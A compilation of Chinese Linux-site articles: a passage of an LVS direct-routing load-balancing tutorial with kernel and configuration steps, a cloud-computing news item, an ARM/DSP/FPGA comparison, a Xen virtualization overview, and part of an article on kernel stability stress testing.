即把负载压力根据某种算法合理分配到集群中的每一台计算机上,以减轻主服务器的压力,降低对主服务器的硬件和软件要求。


 


基于Linux的集群解决方案可谓百花齐放。在实际应用中,最常见的情况是利用集群解决负载平衡问题,比如用于提供WWW服务。在这里主要展示如何使用LVS(Linux Virtial Server)来实现实用的WWW负载平衡集群系统。


 


二、LVS简介


 


LVS是章文嵩博士发起和领导的优秀的集群解决方案,许多商业的集群产品,比如RedHat的Piranha,TurboLinux公司的Turbo Cluster等,都是基于LVS的核心代码的。在现实的应用中,LVS得到了大量的部署,请参考http: //www.linuxvirtualserver.org/deployment.html。关于Linux LVS的工作原理和更详细的信息,请参考http://www.linuxvirtualserver.org。


 


三、LVS配置实例


 


通过Linux LVS,实现WWW,Telnet服务的负载平衡。这里实现Telnet集群服务仅为了测试上的方便。


 


LVS有三种负载平衡方式,NAT(Network Address Translation),DR(Direct Routing),IP Tunneling。其中,最为常用的是DR方式,因此这里只说明DR(Direct Routing)方式的LVS负载平衡。为测试方便,4台机器处于同一网段内,通过一交换机或者集线器相连。实际的应用中,最好能将虚拟服务器vs1和真实服务器rs1, rs2置于于不同的网段上,即提高了性能,也加强了整个集群系统的安全性。


 


服务器的软硬件配置


 


首先说明,虽然本文的测试环境中用的是3台相同配置的服务器,但LVS并不要求集群中的服务器规格划一,相反,可以根据服务器的不同配置和负载情况,调整负载分配策略,充分利用集群环境中的每一台服务器。


 


这3台服务器中,vs1作为虚拟服务器(即负载平衡服务器),负责将用户的访问请求转发到集群内部的rs1,rs2,然后由rs1,rs2分别处理。client为客户端测试机器,可以为任意操作系统。 4台服务器的操作系统和网络配置分别为:


 


 










vs1: RedHat 6.2, Kernel 2.2.19 
vs1: eth0 192.168.0.1
vs1: eth0:101 192.168.0.101
rs1: RedHat 6.2, Kernel 2.2.14
rs1: eth0 192.168.0.3
rs1: dummy0 192.168.0.101
rs2: RedHat 6.2, Kernel 2.2.14
rs2: eth0 192.168.0.4
rs2: dummy0 192.168.0.101
client: Windows 2000
client: eth0 192.168.0.200



 


其中,192.168.0.101是允许用户访问的IP。


 


虚拟服务器的集群配置


 


大部分的集群配置工作都在虚拟服务器vs1上面,需要下面的几个步骤:


 


重新编译内核。


 


首先,下载最新的Linux内核,版本号为2.2.19,下载地址为:http://www.kernel.org/,解压缩后置于/usr/src/linux目录下。


 


其次需要下载LVS的内核补丁,地址为:http://www.linuxvirtualserver.org/software/ipvs- 1.0.6-2.2.19.tar.gz。这里注意,如果你用的Linux内核不是2.2.19版本的,请下载相应版本的LVS内核补丁。将ipvs- 1.0.6-2.2.19.tar.gz解压缩后置于/usr/src/linux目录下。


 


然后,对内核打补丁,如下操作:


 


 










[root@vs2 /root]# cd /usr/src/linux 
[root@vs2 linux]# patch -p1 < ipvs-1.0.6-2.2.19/ipvs-1.0.6-2.2.19.
patch



 


下面就是重新配置和编译Linux的内核。特别注意以下选项:


 


 










1 Code maturity level options---> 
* [*]Prompt for development and/or incomplete code/drivers
2 Networking部分:
[*] Kernel/User netlink socket
[*] Routing messages
<*> Netlink device emulation
* [*] Network firewalls
[*] Socket Filtering
<*> Unix domain sockets
* [*] TCP/IP networking
[*] IP: multicasting
[*] IP: advanced router
[ ] IP: policy routing
[ ] IP: equal cost multipath
[ ] IP: use TOS value as routing key
[ ] IP: verbose route monitoring
[ ] IP: large routing tables
[ ] IP: kernel level autoconfiguration
* [*] IP: firewalling
[ ] IP: firewall packet netlink device
* [*] IP: transparent proxy support
* [*] IP: masquerading
--- Protocol-specific masquerading support will be built as modules.
* [*] IP: ICMP masquerading
--- Protocol-specific masquerading support will be built as modules.
* [*] IP: masquerading special modules support
* IP: ipautofw masq support (EXPERIMENTAL)(NEW)
* IP: ipportfw masq support (EXPERIMENTAL)(NEW)
* IP: ip fwmark masq-forwarding support (EXPERIMENTAL)(NEW)
* [*] IP: masquerading virtual server support (EXPERIMENTAL)(NEW)
[*] IP Virtual Server debugging (NEW) <--最好选择此项,以便观察LVS的调试信息
* (12) IP masquerading VS table size (the Nth power of 2) (NEW)
* IPVS: round-robin scheduling (NEW)
* IPVS: weighted round-robin scheduling (NEW)
* IPVS: least-connection scheduling (NEW)
* IPVS: weighted least-connection scheduling (NEW)
* IPVS: locality-based least-connection scheduling (NEW)
* IPVS: locality-based least-connection with replication scheduling
(NEW)
* [*] IP: optimize as router not host
* IP: tunneling
IP: GRE tunnels over IP
[*] IP: broadcast GRE over IP
[*] IP: multicast routing
[*] IP: PIM-SM version 1 support
[*] IP: PIM-SM version 2 support
* [*] IP: aliasing support
[ ] IP: ARP daemon support (EXPERIMENTAL)
* [*] IP: TCP syncookie support (not enabled per default)
--- (it is safe to leave these untouched)
< > IP: Reverse ARP
[*] IP: Allow large windows (not recommended if <16Mb of memory)
< > The IPv6 protocol (EXPERIMENTAL)



 


上面,带*号的为必选项。然后就是常规的编译内核过程,不再赘述。


 


在这里要注意一点:如果你使用的是RedHat自带的内核或者从RedHat下载的内核版本,已经预先打好了LVS的补丁。这可以通过查看/usr/src/linux/net/目录下有没有几个ipvs开头的文件来判断:如果有,则说明已经打过补丁。


 


编写LVS配置文件,实例中的配置文件如下:


 


 










#lvs_dr.conf (C) Joseph Mack mack@ncifcrf.gov 
LVS_TYPE=VS_DR
INITIAL_STATE=on
VIP=eth0:101 192.168.0.101 255.255.255.0 192.168.0.0
DIRECTOR_INSIDEIP=eth0 192.168.0.1 192.168.0.0 255.255.255.0 192.168.0. 255
SERVICE=t telnet rr rs1:telnet rs2:telnet
SERVICE=t www rr rs1:www rs2:www
SERVER_VIP_DEVICE=dummy0
SERVER_NET_DEVICE=eth0
#----------end lvs_dr.conf------------------------------------



 


将该文件置于/etc/lvs目录下。


 


使用LVS的配置脚本产生lvs.conf文件。该配置脚本可以从http: //www.linuxvirtualserver.org/Joseph.Mack/configure-lvs_0.8.tar.gz 单独下载,在ipvs-1.0.6-2.2.19.tar.gz包中也有包含脚本configure的使用方法:


 


[root@vs2 lvs]# configure lvs.conf


 


这样会产生几个配置文件,这里我们只使用其中的rc.lvs_dr文件。修改/etc/rc.d/init.d/rc.local,增加如下几行:


 


echo 1 > /proc/sys/net/ipv4/ip_forward


echo 1 > /proc/sys/net/ipv4/ip_always_defrag


# 显示最多调试信息


echo 10 > /proc/sys/net/ipv4/vs/debug_level


 


配置NFS服务。这一步仅仅是为了方便管理,不是必须的步骤。假设配置文件lvs.conf文件放在/etc/lvs目录下,则/etc/exports文件的内容为:


 


/etc/lvs ro(rs1,rs2)


 


然后使用exportfs命令输出这个目录:


 


[root@vs2 lvs]# exportfs


 


如果遇到什么麻烦,可以尝试:


 


[root@vs2 lvs]# /etc/rc.d/init.d/nfs restart


[root@vs2 lvs]# exportfs


 


这样,各个real server可以通过NFS获得rc.lvs_dr文件,方便了集群的配置:你每次修改lvs.conf中的配置选项,都可以即可反映在rs1,rs2的相应目录里。 修改/etc/syslogd.conf,增加如下一行: kern.* /var/log/kernel_log。这样,LVS的一些调试信息就会写入/var/log/kernel_log文件中。


 


Real Server的配置


 


Real Server的配置相对简单,主要是是以下几点:


 


配置telnet和WWW服务。telnet服务没有需要特别注意的事项,但是对于www服务,需要修改httpd.conf文件,使得apache在虚拟服务器的ip地址上监听,如下所示:


 


Listen 192.168.0.101:80


 


关闭Real Server上dummy0的arp请求响应能力。这是必须的,具体原因请参见 ARP problem in LVS/TUN and LVS/DR关闭dummy0的arp响应的方式有多种,比较简单地方法是,修改/etc/rc.d/rc.local文件,增加如下几行:


 


 










echo 1 > /proc/sys/net/ipv4/conf/all/hidden 
ifconfig dummy0 up
ifconfig dummy0 192.168.0.101 netmask 255.255.255.0 broadcast 192.168. 0.0 up
echo 1 > /proc/sys/net/ipv4/conf/dummy0/hidden
再次修改/etc/rc.d/rc.local,增加如下一行:(可以和步骤2合并)
echo 1 > /proc/sys/net/ipv4/ip_forward



 


四、LVS的测试


 


好了,经过了上面的配置步骤,现在可以测试LVS了,步骤如下:


 


分别在vs1,rs1,rs2上运行/etc/lvs/rc.lvs_dr。注意,rs1,rs2上面的/etc/lvs目录是vs2输出的。如果您的 NFS配置没有成功,也可以把vs1上/etc/lvs/rc.lvs_dr复制到rs1,rs2上,然后分别运行。确保rs1,rs2上面的 apache已经启动并且允许telnet。


 


然后从client运行telnet 192.168.0.101,如果登录后看到如下输出就说明集群已经开始工作了。(假设以guest用户身份登录)


 


[guest@rs1 guest]$-----------说明已经登录到服务器rs1上。


 


再开启一个telnet窗口,登录后会发现系统提示变为:


 


[guest@rs2 guest]$-----------说明已经登录到服务器rs2上。


 


然后在vs2上运行如下命令:


 


[root@vs2 /root]ipvsadm


 


运行结果应该为:


 


 










IP Virtual Server version 1.0.6 (size=4096) 
Prot LocalAddress:Port Scheduler Flags
-> RemoteAddress:Port Forward Weight ActiveConn InActConn
TCP 192.168.0.101:telnet rr
-> rs2:telnet Route 1 1 0
-> rs1:telnet Route 1 1 0
TCP 192.168.0.101:www rr
-> rs2:www Route 1 0 0
-> rs1:www Route 1 0 0



 


至此已经验证telnet的LVS正常。然后测试一下WWW是否正常:用你的浏览器查看http://192.168.0.101/是否有什么变化?为了更明确的区别响应来自那个Real Server,可以在rs1,rs2上面分别放置如下的测试页面(test.html):


 


我是real server #1 or #2


 


然后刷新几次页面(http://192.168.0.101/test.html),如果你看到“我是real server #1”和“我是real server #2”交替出现,说明www的LVS系统已经正常工作了。


 


但是由于Internet Explore 或者Netscape本身的缓存机制,你也许总是只能看到其中的一个。不过通过ipvsadm还是可以看出,页面请求已经分配到两个Real Server上了,如下所示:


 


 










IP Virtual Server version 1.0.6 (size=4096) 
Prot LocalAddress:Port Scheduler Flags
-> RemoteAddress:Port Forward Weight ActiveConn InActConn
TCP 192.168.0.101:telnet rr
-> rs2:telnet Route 1 0 0
-> rs1:telnet Route 1 0 0
TCP 192.168.0.101:www rr
-> rs2:www Route 1 0 5
-> rs1:www Route 1 0 4



 


 


或者,可以采用linux的lynx作为测试客户端,效果更好一些。如下运行命令:


 


 










[root@client /root]while true; do lynx -dump 
http://10.64.1.56/test.html; sleep 1; done



 


这样,每隔1秒钟“我是realserver #1”和“我是realserver #2”就交替出现一次,清楚地表明响应分别来自两个不同的Real Server。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

云计算技术 IBM雅虎谷歌巨头争相涉水







 IBM,雅虎和Google都在大力开发云计算(cloud computing)。

那些寻找让电脑更聪明处理复杂计算任务的研究人员在云计算那里找到了答案,这里的云不是那些漂浮在天空中的云,而是指通过互联网实现超级计算机能力的技术。


IBM是最新一家宣布发力云计算技术的公司。11月15日,IBM官员在上海公布了一个名为“蓝云”(Blue Cloud)的系统,这套系统可以让银行等客户将程序分散至众多计算机上执行,以便快速完成复杂的数据分析任务。首款蓝云产品将在明年春天面市。


另外两家公司最近也宣布了类似的项目。雅虎在11月12日宣布,卡内基梅隆大学等大学将使用一套由4000颗处理器组成的计算机系统进行软件研究。Google在10月份表示,将开放其数据中心的上百颗处理器给华盛顿大学,斯坦福大学以及麻省理工学院等学校。


微软超级计算机研究员Dan Reed说:“云计算正在兴起。”他认为,推动云计算兴起的动力是高速互联网连接的发展,价格更便宜功能更强大的芯片以及硬盘,数据中心的发展。


下面就是云计算的一些常识:


云计算如何工作?


现在的超级计算机主要被需要处理复杂计算任务的军队,政府以及情报机构,大学以,研究实验室以及大公司所使用,这些任务可能是模拟核爆炸,预测天气变化,设计飞机,研究新药等。云计算的目的是将这种超级计算能力带给那些需要进行金融企业分析,传输医疗信息甚至进行计算机游戏的互联网用户。云计算通常使用低价的个人用户电脑技术。


哪些企业正在使用推动云计算?


Google的搜索引擎,生产力程序是云计算初期的产品,但它们主要是在大型计算机服务器集群上完成的,而不是普通的台式机。微软已经公布了Windows Lives网络软件,它包括相片分享,文件存储等,它也是建立在数据中心之上的。雅虎也有类似的动作。


IBM已经部署了2百名研究人员在云计算项目上。Amazon.com最近向开发者开放了名为“弹性计算机云”(Elastic Compute Cloud)的服务,它可以让小软件公司按照自己的需要购买Amazon的数据中心处理能力。


云计算技术的市场机会怎样?


这很难估计,但其潜力很大。与以往不同,云计算将超级计算能力推向了大众。


这些公司面临的最大挑战是什么?


是连接各种计算机系统及软件的技术标准。此外,用户隐私也是云计算可能面临的一个挑战。


(责任编辑:A6)






本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

ARM、DSP、FPGA的技术特点和区别是什么







 

ARM(Advanced RISC Machines)是微处理器行业的一家知名企业,设计了大量高性能、廉价、耗能低的RISC处理器、相关技术及软 件。ARM架构是面向低预算市场设计的第一款RISC微处理器,基本是32位单片机的行业标准,它提供一系列内核、体系扩展、微处理器和系统芯片方案,四 个功能模块可供生产厂商根据不同用户的要求来配置生产。由于所有产品均采用一个通用的软件体系,所以相同的软件可在所有产品中运行。目前ARM在手持设备 市场占有90以上的份额,可以有效地缩短应用程序开发与测试的时间,也降低了研发费用。


 


 


DSP(digital singnal processor)是一种独特的微处理器,有自己的完整指令系统,是以数字信号来处理大量信息的器件。一个数 字信号处理器在一块不大的芯片内包括有控制单元、运算单元、各种寄存器以及一定数量的存储单元等等,在其外围还可以连接若干存储器,并可以与一定数量的外 部设备互相通信,有软、硬件的全面功能,本身就是一个微型计算机。DSP采用的是哈佛设计,即数据总线和地址总线分开,使程序和数据分别存储在两个分开的 空间,允许取指令和执行指令完全重叠。也就是说在执行上一条指令的同时就可取出下一条指令,并进行译码,这大大的提高了微处理器的速度 。另外还允许在程 序空间和数据空间之间进行传输,因为增加了器件的灵活性。其工作原理是接收模拟信号,转换为0或1的数字信号,再对数字信号进行修改、删除、强化,并在其 他系统芯片中把数字数据解译回模拟数据或实际环境格式。它不仅具有可编程性,而且其实时运行速度可达每秒数以千万条复杂指令程序,远远超过通用微处理器, 是数字化电子世界中日益重要的电脑芯片。它的强大数据处理能力和高运行速度,是最值得称道的两大特色。由于它运算能力很强,速度很快,体积很小,而且采用 软件编程具有高度的灵活性,因此为从事各种复杂的应用提供了一条有效途径。根据数字信号处理的要求,DSP芯片一般具有如下主要特点:


(1)在一个指令周期内可完成一次乘法和一次加法;


(2)程序和数据空间分开,可以同时访问指令和数据;


(3)片内具有快速RAM,通常可通过独立的数据总线在两块中同时访问;


(4)具有低开销或无开销循环及跳转的硬件支持;


(5)快速的中断处理和硬件I/O支持;


(6)具有在单周期内操作的多个硬件地址产生器;


(7)可以并行执行多个操作;


(8)支持流水线操作,使取指、译码和执行等操作可以重叠执行。


当然,与通用微处理器相比,DSP芯片的其他通用功能相对较弱些。


 


 


FPGA是英文Field Programmable Gate Array(现场可编程门阵列)的缩写,它是在PAL、GAL、PLD等可编程器件的基 础上进一步发展的产物,是专用集成电路(ASIC)中集成度最高的一种。FPGA采用了逻辑单元阵列LCA(Logic Cell Array)这样一个 新概念,内部包括可配置逻辑模块CLB(Configurable Logic Block)、输出输入模块IOB (Input Output Block)和内部连线(Interconnect)三个部分。用户可对FPGA内部的逻辑模块和I/O模块重新配置,以实 现用户的逻辑。它还具有静态可重复编程和动态在系统重构的特性,使得硬件的功能可以像软件一样通过编程来修改。作为专用集成电路(ASIC)领域中的一种 半定制电路,FPGA既解决了定制电路的不足,又克服了原有可编程器件门电路数有限的缺点。可以毫不夸张的讲,FPGA能完成任何数字器件的功能,上至高 性能CPU,下至简单的74电路,都可以用FPGA来实现。FPGA如同一张白纸或是一堆积木,工程师可以通过传统的原理图输入法,或是硬件描述语言自由 的设计一个数字系统。通过软件仿真,我们可以事先验证设计的正确性。在PCB完成以后,还可以利用FPGA的在线修改能力,随时修改设计而不必改动硬件电 路。使用FPGA来开发数字电路,可以大大缩短设计时间,减少PCB面积,提高系统的可靠性。FPGA是由存放在片内RAM中的程序来设置其工作状态的, 因此工作时需要对片内的RAM进行编程。用户可以根据不同的配置模式,采用不同的编程方式。加电时,FPGA芯片将EPROM中数据读入片内编程RAM 中,配置完成后,FPGA进入工作状态。掉电后,FPGA恢复成白片,内部逻辑关系消失,因此,FPGA能够反复使用。FPGA的编程无须专用的FPGA 编程器,只须用通用的EPROM、PROM编程器即可。当需要修改FPGA功能时,只需换一片EPROM即可。这样,同一片FPGA,不同的编程数据,可 以产生不同的电路功能。因此,FPGA的使用非常灵活。可以说,FPGA芯片是小批量系统提高系统集成度、可靠性的最佳选择之一。目前FPGA的品种很 多,有XILINX的XC系列、TI公司的TPC系列、ALTERA公司的FIEX系列等。


 


区别是什么呢?ARM具有比较强的事务管理功能,可以用来跑界面以及应用程序等,其优势主要体现在控制方面,而DSP主要是用来计算的,比如进行加密解 密、调制解调等,优势是强大的数据处理能力和较高的运行速度。FPGA可以用VHDL或verilogHDL来编程,灵活性强,由于能够进行编程、除错、 再编程和重复操作,因此可以充分地进行设计开发和验证。当电路有少量改动时,更能显示出FPGA的优势,其现场编程能力可以延长产品在市场上的寿命,而这种能力可以用来进行系统升级或除错。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

解读开源Xen虚拟服务器







一、Xen 起源

  Xen VMM(virtual machine monitor)是由剑桥大学计算机实验室开发的一个Open Source 项目,目前稳定版本为Xen3.0,主要目的是为了建立更多的虚拟机器。XenSource 的创始人Ian Pratt表示,Xen 在2002年前诞生于英国的剑桥大学,这家新创公司有意把Xen虚拟功能变成标准的计算机功能。「我们第一部是在Linux系统上普及化。」他说。 Xen 这类能将一台计算机划分为多个不同分割区的方法依赖一种被称为虚拟化(virtualization)的概念,它们使软件能够仿真真实的硬件来作执行。在 VMware中,这一基础被称作是虚拟机器(virtual machine)。 VMware和Xen 之间的差异点在于:前者完全仿真计算机,因此理论上操作系统可不需更动就直接在虚拟机器上执行;Xen 则使用了被称为「paravirtualization」的技术,Pratt表示,它的效能更快,但需要对操作系统进行适当的修改。不过较高阶的软件并不 需经过修正,VMware 和Xen 之间的差异点在于:VMware 完全仿真计算机,因此理论上操作系统可不需更动就直接在虚拟机器上执行;Xen 则使用了被称为「Paravirtualizatio」的技术,它的效能更快。

  2005年12月Xen开发组发布了Xen 3.0,这是第一款支持芯片辅助技术的免费hypervisor软件。有了VT-x或AMD-V的硬件支持,Xen 3.0能支持任何没修改过的操作系统。XEN 3.0 所采用的虚拟技术为半虚拟化(Paravirtualization),与VMware所采用的完全虚拟化的差异,在于对底层硬件的控制效率接近实机操 作,包括中断控制(IRQ)等,以及等同于实体处理器的运作效能,但也因此对硬件的支持度并不高。由于半虚拟化(Paravirtualization) 技术需要对操作系统进行适当的修改,所以目前Xen 只能够在一些Linux-based 的系统上运作,也陆续受到一些信息大厂的支持,Xen 并不是第一个提出半虚拟化的软件,但执行Xen 时,消秏系统资源非常少,大约占3%,所以Xen 可算是技术上的突破。半虚拟化必须修改系统的内核,不过如果处理器能支持虚拟化,所就内核就无需异动了,例如Intel 的VT 和AMD 的Pacifica 处理器都将包括这种支持。AMD 的CPU 只有Opteron 支持AMD-V 技术,而INTEL则有Intel Core 2 Duo 及Xeon 系列才支持VT 技术。

  二、Xen支持的操作系统

  主机操作系统即(Host Operating System) 在物理计算机(宿主机)上运行的操作系统,在它之上运行虚拟机软件。客户操作系统 (Guest Operating System) 运行在虚拟机中的操作系统。注意,在此它不等于桌面操作系统(Desktop Operating System)和客户端操作系统(Client Operating System),因为虚拟机中的客户操作系统可以是服务器操作系统。表1是 Xen 3.0支持的主机操作系统和客户操作系统。

  表1 Xen 3.0支持的主机操作系统和客户操作系统




  Xen Enterprise 3.2明显扩大了支持范围,新增了对Windows 2000的支持。另外,可以使用对称多处理(Symmetric Multiprocessing ,SMP)技术支持Windows Server 2003和Windows XP操作系统,使得Exchange和SQL Server可以运行地更好。客户操作的支持还增加了Red Hat的企业版Linux服务器RHEL 5和Novell的SUSE Linux企业服务器10 SP1。另外Linux的两个最成功的商业版,红帽企业版Linux 5.0和Novell的Suse Linux 10.0企业服务器版都集成了Xen。

  三、Xen的原理和体系结构

  虚拟化CPU对guest OS(客户操作系统)提出了几个要求。因为hypervisor插在操作系统的下层违背了惯常的关于操作系统在整个系统中特权最高的假设。为了保护 hypervisor不会受到操作系统不正确行为的影响(即domain不受另一个domain的影响),guest OS就必须被改造为能够运行在较低的特权级上。很多处理器体系结构只是提供了两个特权级。在这些情况下,guest OS和应用程序共享较低的特权级。同时,guest OS运行在单独的地址空间中以保护自己不会受到应用程序执行的影响。guest OS通过hypervisor设定虚拟的特权级和改变当前的地址空间来间接地和应用之间进行控制传递。另外,如果处理器的TLB支持地址空间标记,那么也 就可以避免TLB刷新带来的高昂代价。在x86架构上有效地实现特权级的虚拟化是可能的,因为x86架构在硬件上支持四个不同的特权级。x86架构的特权 级往往用圈(ring)来表示,从ring 0(最高特权)到ring 3(最低特权)。操作系统的代码运行在ring 0这个特权级上,因为再没有其它的ring能够执行那些特权指令。ring 3通常用于执行应用代码。就我们所知,自OS/2起到现在的各个知名的x86 架构上的操作系统都还没有利用ring 1和ring 2这两个特权级的。那么,任何遵循这个通常的安排的操作系统就都可以移植到Xen上来。这个移植过程只需要做一些改动使操作系统改为运行在ring 1特权级上。这就防止了guest OS会直接执行特权指令,也保证了操作系统与运行在ring 3上的应用程序之间相隔离的安全性。图1是Xen 和Ring 关系图。图2 是Xen的体系结构。



图1是Xen 和Ring 关系图


 


图2 Xen的体系结构


  在完全虚拟化环境下需要仿真现有的硬件设备,而Xen不同于此。Xen给出了一套清楚、简单的设备抽象。这就使得我们能够设计一个接口以有效地满足我 们对保护性和隔离性的需求。为了做到这一点,I/O和各个domain之间的数据传递都是要经过Xen的,可以使用的方法有共享内存,异步缓冲区描述符环 等。这些方法能够在Xen有效地执行确认检查的同时,为在系统中的竖直方向上传递缓冲区信息提供了一个高性能的通信机制。图3是Xen的网络接口结构。图 4 是逻辑网络接口连接dom1和dom0示意图。
 


图3 Xen的网络接口结构


  讲到Xen,不能不提Xensource公司,它由原Xen项目组主要成员创立,坐落在美国硅谷的Palo Alto市。Xensource是一个典型的将学校研究成果转化为生产力的创业型企业。2006年11月,XenSource对外发布了他的第一个正式产 品XenEnterprise。XenEnterprise基于Xen 3.0.3。在此之前,Red Hat在他的Fedora Core 4.0和Fedora Core 5.0中已经集成了Xen,Novell在SUSE Linux 10.1和SLES 10中也已经集成了Xen。同时Redhat他的企业版Linux中即RHEL5.0中也集成Xen。
 


图4 逻辑网络接口连接dom1和dom0示意图

表-2是xen家族产品参数






  另外全球应用程序供应基础架构领导厂商 Citrix Systems完成收购企业级虚拟化基础架构解决方案领导商 XenSource 。透过这项合并, Citrix 成为业界最完整的虚拟化技术供应商,提供业界唯一完整涵盖应用系统、服务器及桌面虚拟化技术的端对端应用供应 基础架构。根据 Citrix 预估,该市场在未来四年将成长至近 50 亿美元的规模。随着 XenSource 的加入, Citrix 推出 Citrix XenServer 及 Citrix XenDesktop 两款全新的虚拟化解决方案,分别专攻服务器及桌面虚拟化市场,也配合 Citrix 原有的应用系统虚拟化产品,打造出业界最完整的端对端虚拟化产品。

  总结:Xen的超虚拟化(paravirtualization)是另外一种流行的虚拟化技术,它与完全虚拟化有一些类似。这种方法使用了一个 hypervisor 来实现对底层硬件的共享访问,还将与虚拟化有关的代码集成到了操作系统本身中。这种方法不再需要重新编译或捕获特权指令,因为操作系统本身在虚拟化进程中 会相互紧密协作。通常通过虚拟化(Virtualization)将同一硬件上的应用程序和系统彼此隔离开来。从硬件模拟到完全硬件虚拟化,Linux 支持很多种不同形式的虚拟化。在不断增加的虚拟化技术列表中,Xen 是近来最引人注目的技术之一,它由剑桥大学开发。Xen 值得您关注,因为它具有空前的性能与安全性。






本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

对Linux系统内核版本稳定性测试简单介绍







 

在对 Linux 内核版本稳定性的测试中,需要明确地声明并证明为什么版本是稳定的或者是不稳定的。 然而还没有被证明和证实当前现有的系统范围内的压力测试可以测试 Linux 内核整体上的稳定性。 本文给出了一个创建系统范围内 Linux 压力测试并证明其结果正确性的方法。不同的 Linux 开发者、 用户和发行版本会使用他们自己的方法来测试内核的稳定性。不过,关于他们决定运行哪些测试、覆盖的代码、 达到的压力级别等的基础信息都没有发布,这就大大降低了结果的价值。


 


使用实验室的机器以及来自 Linux Test Project 测试套件的测试,我们基于系统资源的利用率统计开发了一个 测试的组合,为系统提供足够的压力。我们对这个组合测试进行了分析,以确定 Linux 内核的哪些部分在测试 执行中得到了使用。然后,我们修改了组合测试,在保持期望的高强度系统压力的同时提高代码覆盖率的百分比。 最终得到的压力测试涵盖了 Linux 内核的足够多部分,有助于稳定性声明,并且有系统使用情况和内核代码覆盖情况的数据来支持它。


 


这一组合测试方法的四个步骤是:测试选择、系统资源利用率评价、内核代码覆盖分析以及最终的压力测试评价。


 


选择测试


 


测试选择包括选择达成两方面目的的测试:


 


测试应该可以得到 CPU(s)、内存、I/O 和网络等主要内核区域的高水平的资源利用率。


 


测试应该充分地覆盖内核代码,以帮助支持自其结果中生成的稳定性声明。


 


只要有可能,都要使用自动化的或者易于修改的测试,以支持自动操作。自动操作可以使得测试 更快而且可以重复进行,并帮助降低人为错误的风险。选择合适的测试时需要考虑的另一个方面是, 使用可以自由发布结果的应用程序。最好是选择坚决拥护开放源代码方法 和/或 GPL 的测试和测试套件,以助于确保 发布过程的简便。


 


评价系统资源利用率


 


所选择的测试的组合必须给系统的资源带来足够的压力。Linux 内核的四个主要方面可以影响系统的 响应和执行时间:


 


CPU:用于在机器的 CPU(s)上处理数据的时间。


 


Memory:用于自真实存储器中读写数据的时间。


 


I/O:用于自磁盘存储器读写数据的时间。


 


Networking:用于自网络读写数据的时间。


 


测试设计者应该使用下面这两个著名的且广为应用的开放源代码 Linux 资源监控工具来评价资源利用率水平。 (请参阅本文稍后的 参考资料 以获得下载这些工具的链接。)


 


top:由 Albert D. Cahalan 维护着的一个开放源代码工具, 包含于大部分 Linux 发行版本中,可用于当前的 2.4 和 2.6 内核。


 


sar:另一个开放源代码工具;它由 Sebastien Godard 维护。 这个工具也包含于大部分 Linux 发行版本中,可用于当前的 2.4 和 2.6 内核。


 


方法中的系统资源利用率评价阶段通常需要多次尝试才能得到合适的测试组合,并得到期望水平的利用率。 当确定测试组合时,过度利用总是一个至关重要的问题。例如,如果选择的组合过于受 I/O 所限,可能会 导致 CPU 的测试结果不好,反之亦然。方法的这一部分主要是大量的试验和出错,直到所有资源达到期望水平。


 


top 工具可用于迅速确定每个测试影响哪个资源(CPU、内存或者 I/O),并实时地显示出它们使用了多少资源。 sar 工具用于收集一段时间内的网络利用率统计数据,并将所有利用率数据的快照记录到一个文件。


 


当选定一个组合后,测试必须长时间运行以准确评价资源的利用率。测试运行的时间长短取决于每个测试的长度。 假如多个测试同时运行,则时间必须足够长以使得这些测试中最长的那个可以完成。在这个评价过程中,sar 工 具也应该在运行。在评价运行的结论中,您应该收集并评价所有四种资源的利用率水平。


 


下面的例子显示了 sar 输出的 CPU、内存和网络利用率:


 


 










10:48:27 CPU %user %nice %system %iowait %idle 

10:48:28 all 0.00 0.00 0.00 0.00 100.00
10:48:29 all 3.00 0.00 1.00 0.00 96.00
10:48:30 all 100.00 0.00 0.00 0.00 0.00
10:48:31 all 100.00 0.00 0.00 0.00 0.00 02:27:31
kbmemfree kbmemused %memused kbswpfree kbswpused %swpused
02:29:31 200948 53228 20.94 530104 0 0.00 02:31:31
199136 55040 21.65 530104 0 0.00 02:33:31
198824 55352 21.78 530104 0 0.00 02:35:31
199200 54976 21.63 530104 0 0.00 02:27:31
IFACE rxpck/s txpck/s rxbyt/s txbyt/s 02:29:31
eth0 738.79 741.66 76025.55 136941.85 02:31:31
eth0 743.30 744.97 76038.82 136907.77 02:33:31
eth0 744.80 745.02 76135.53 136901.38 02:35:31
eth0 742.35 744.34 75947.45 136864.77



 


清单 1. sar 的输出示例

 


分析内核代码覆盖率


 


获得足够的内核覆盖率是系统压力测试的另一个职责。尽管所选的测试组合充分地利用了四种主要资源,它 也有可能只是执行了内核的一小部分。因而,您应该对覆盖率进行分析以确保组合可以成为一个系统压力 测试,而不是一个系统负载生成器。当前,有两个开放源代码工具可以帮助进行 Linux 内核的代码覆盖率分析:


 


gcov:一个由 Linux Test Project 维护的开放源代码工具。 这个工具分析内核代码的覆盖率,并报告哪些行、函数和分支被覆盖以及它们被访问了多少次。


 


lcov:另一个由 IBM 开发,由 Linux Test Project 维护的开放源代码工具。 这个工具由一组构建于基于文本的 gcov 输出之上的 Perl 脚本构成,以实现基于 HTML 的输出。 输出包括覆盖率百分比、图表以及概述页,可以快速浏览覆盖率数据。您可以自 Linux Test Project(LTP)主页 找到这两个工具(参阅 参考资料 以获得链接)。


 


gcov 模块加载以后,所有运行于系统压力测试组合中的测试都必须执行。尽管原来的系统压力测试可以同时执行, 也应该同时执行,但是这次运行应该是循环进行的。每个测试都应该运行一次直到结束,一个接一个地运行, 不能重复运行任何测试。单个地、循环地运行,是为了减少在同时运行多个系统压力测试时,内核尝试 去平衡它们的负载而导致的不可预知的和无目的的内核代码执行。您应该在最后一个测试运行结束后再进行 gcov 分析。由于最终是要格式化数据以进行分析,所以运行 lcov 工具并加载 gcov 模块。


 


